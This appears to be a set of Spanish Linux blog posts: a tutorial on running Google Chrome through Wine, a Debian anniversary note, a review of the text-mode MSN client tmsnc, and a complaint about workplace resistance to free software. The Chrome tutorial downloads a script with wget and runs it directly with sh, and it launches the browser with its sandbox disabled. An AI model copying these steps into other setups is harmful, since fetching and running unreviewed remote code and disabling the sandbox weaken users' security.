Hay 2 formas hasta el momento, desde la web oficial se pueden descargar las fuentes y compilarlo uno mismo, sin embargo eso no significa que va a funcionar a la perfección, ya que esa opción esta orientada más a los desarrolladores de la compañía que a otra cosa.
Entonces por el momento lo mejor y la opción más conocida… wine!
Lo primero es descargar la versión más nueva y necesaria de wine para poder correrlo sin problemas (1.1.4)..
Esta versión por no ser la estable todavía no esta en los repositorios, asi que el método para la instalación va a ser diferente al típico apt-get install (bueno, no inmediatamente xD).
Entonces tenemos que agregar unos nuevos repositorios para poder usar esta versión, la forma de hacerlo para diferentes distribuciones esta aquí:
http://www.winehq.org/site/download
Una vez seguidos los pasos ya podemos instalar wine normalmente:
apt-get install wine
o
aptitude install wine
Ahora antes de comenzar con la instalación del GC hay que hacer estas cosas antes:
cd $HOME rm winetricks wget http://www.kegel.com/wine/winetricks mv .wine .wine.old sh winetricks msxml3 corefonts firefox flash winxp
Explicando, se mueve al directorio home del usuario, en caso que haya antes un script llamado winetricks lo borra.
Después descarga el nuevo script, y renombra el fichero .wine a .wine.old, por ultimo se ejecuta el script (winetricks) que se encarga de descargar e instalar esos programas en wine que son necesarios para el funcionamiento del GC.
Una vez hecho esto ya podemos instalar el navegador
Una vez descargado solo se ejecuta por medio del wine, bien con click derecho y “ejecutar con wine” o por la terminal con un:
wine nombre.exe
Ahora esperar que se descargue e instale..
Pero.. todavía no esta listo para usarse del todo, para eso hay que pasarle 2 parámetros al ejecutable.
wine chrome.exe –no-sandbox –new-http
Y ahora si, ya podemos usar el GC en Linux
Pero mi opinión es que esto no es algo muy practico, usarlo con el wine le mata todas las virtudes que posee, deja de ser ligero y sencillo y se vuelve bastante pesado, aparte de algunos problemas que note como que los vídeos de youtube aparecen cabeza abajo (wtf?! o_O).
Asi que es mejor esperar un rato a que este la versión oficial para los linuxeros
, entonces este método queda como una forma friki/geek que tienen más utilidad para ser presumida de que podes usar GC en Linux que para usarlo realmente.

Un poco tarde, pero siempre recordando el inicio de uno de los proyectos más importantes del software libre en el mundo. Lastimosamente este año no se pudo organizar un _debian day_ en El Salvador tal como se hizo hace 5 años (celebrando la década) pero en fin, quedamos pendientes.
Y con la intención de conocer la apariencia del website de Debian de hace algunos años, la busqué en archive.org teniendo como resultado más antiguo una página del año de 1997 que podemos ver aqui. Evidentemente muy diferente a lo que conocemos ahora.
Larga vida para Debian!
Demasiado calor esta haciendo hoy.. ¿Que no se suponía que solo se ponía asi en la Semana Santa?
, donde esta la lluvia cuando se necesita?..
Ya ontopic hoy estaba buscando un modulo para perl con el aptitude con la intención de facilitarme la tarea de programar un bot para el protocolo MSN
, (desde hace casi un año que tengo la idea pero siempre se queda en palabras, asi que hoy me dije a mi mismo que si lo iba a terminar).
Bueno el resultado de la búsqueda no me dio la librería que quería, pero me arrojo otro resultado bastante interesante. Una aplicación que se llama tmsnc y que en la descripción decía que era un cliente del MSN a modo texto
.
Me dispuse a instalarlo y si era lo que decía, de hecho me gusto bastante por la sencillez con la que trabaja y la portabilidad que puede llegar a tener
Como se deduce el programa esta en los repositorios asi que se puede instalar con el atp-get install:
$ apt-get install tmsnc
al ejecutarlo:
$ tmsnc
Se puede ver que no hay ninguna clase de pierde xD, como repito la interfaz es bien sencilla e intuitiva:

Ya logueados nos aparece toda la información de la cuenta, nickname, contactos, status, etc.

En la parte superior estan las opciones básicas de todo cliente:
Agregar contactos, cambiar nick, cambiar el status, etc.

A mi me gusto bastante por lo simple que es.. aunque aparentemente el proyecto ya fue descontinuado por otro proyecto este sigue siendo totalmente funcional y bastante util más si les gustan las cosas limpias y sencillas como a mi

La realidad de linux en realidad la representa esta imagen. Lo único que me siento orgulloso es que no cualquiera lo usa
(vía elgeek.info)
Hace unas semanas ofrecí -en el lugar donde trabajo- implementar GNU/Linux en un par de salas de cómputo, por supuesto bajo la idea primordial (bajo mi perspectiva) de ampliar el uso del OS bajo el paradigma social del software libre, aunque administrativamente la propuesta haya tomado perspectivas diferentes, pero en fin.
Este día y en un primer encuentro con el objeto de conocer el equipo y las necesidades de los usuarios, visité el lugar y para mi sorpresa me encuentro a la gente con una actitud hostíl y de rechazo, porque su sistema operativo favorito iba a ser removido, gente presumiendo de tener instalado la suite ofimática propietaria mas conocida, hablando en mal de OpenOffice y con una clara oposición a la llegada del tal *Linux* que les han mencionado y aun así a pesar de sentirse tan felices con sus programas, se quejan a cada momento de los virus y las *dolencias* causadas por las pestes que los atacan, quizá lo consideran ya como algo normal.
Realmente es triste encontrarse en esta situación. Escuchar a personas hablando mal del software libre, y calificándolo como programas *gratuitos* de *baja calidad* que tratan de imitar a sus productos propietarios, estas personas acusan y se esconden en su ignorancia edificada por _LOS AÑOS DE EXPERIENCIA_ utilizando software propietario, el cual siempre han usado por haberlo conseguido *gratis* gracias a la mano amiga de la piratería.
Sin duda, la implementación del software libre en nuestros paises latinoamericanos, mas que ser un reto técnico se convierte en una lucha ideológica por la libertad que muy pocos conocen y valoran.